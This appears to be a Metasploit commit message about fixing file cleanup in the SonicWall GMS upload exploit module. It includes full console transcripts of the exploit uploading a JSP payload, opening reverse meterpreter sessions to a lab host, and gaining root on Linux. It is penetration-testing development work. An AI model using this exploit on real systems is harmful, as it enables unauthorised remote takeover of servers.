fix REALLY on_new_session issue

My bad,

Defining an empty on_new_session callback on the module just avoided to jump to FileDropper, where the real issue exists I think! (will ask @jlee-r7 for confirmation)

The problem is executing it with the linux meterpreter:

```
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
```

As fix I've avoided the use of FileDropper and I've moved the deletion routine to the module, which is working fine for both linux and windows platforms

*windows

<pre>
msf  exploit(sonicwall_gms_upload) > set rhost 192.168.1.138
rhost => 192.168.1.138
msf  exploit(sonicwall_gms_upload) > set target 0
target => 0
msf  exploit(sonicwall_gms_upload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(sonicwall_gms_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] 192.168.1.138:80 - Retrieving Tomcat installation path...
[+] 192.168.1.138:80 - Tomcat installed on C:\GMSVP\Tomcat\
[*] 192.168.1.138:80 - Uploading the payload
[+] 192.168.1.138:80 - Payload successfully uploaded to C:\GMSVP\Tomcat\webapps\appliance\kmVJCThS.txt
[*] 192.168.1.138:80 - Uploading the payload
[+] 192.168.1.138:80 - JSP successfully uploaded to C:\GMSVP\Tomcat\webapps\appliance\pexzncl5.jsp
[*] Triggering payload at '/pexzncl5.jsp' ...
[*] Sending stage (752128 bytes) to 192.168.1.138
[*] Meterpreter session 5 opened (192.168.1.129:4444 -> 192.168.1.138:1109) at 2013-01-24 00:33:38 +0100
[+] Deleted C:\GMSVP\Tomcat\webapps\appliance\kmVJCThS.txt
[+] Deleted C:\GMSVP\Tomcat\webapps\appliance\pexzncl5.jsp

meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

</pre>

*linux

<pre>
^Cmsf  exploit(sonicwall_gms_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] 192.168.1.172:80 - Retrieving Tomcat installation path...
[+] 192.168.1.172:80 - Tomcat installed on /opt/GMSVP/Tomcat/
[*] 192.168.1.172:80 - Uploading the payload
[+] 192.168.1.172:80 - Payload successfully uploaded to /opt/GMSVP/Tomcat/webapps/appliance/WgfUNcmWahclz.txt
[*] 192.168.1.172:80 - Uploading the payload
[+] 192.168.1.172:80 - JSP successfully uploaded to /opt/GMSVP/Tomcat/webapps/appliance/xMT2Up4Y.jsp
[*] Triggering payload at '/xMT2Up4Y.jsp' ...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.172
[*] Meterpreter session 4 opened (192.168.1.129:4444 -> 192.168.1.172:44158) at 2013-01-24 00:33:14 +0100
[+] Deleted /opt/GMSVP/Tomcat/webapps/appliance/WgfUNcmWahclz.txt
[+] Deleted /opt/GMSVP/Tomcat/webapps/appliance/xMT2Up4Y.jsp

meterpreter > sysinfo
Computer     : snwl.example.com
OS           : Linux snwl.example.com 2.6.23.8-snwl-VMWare #1 SMP Fri Feb 19 16:18:45 PST 2010 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > exit

</pre>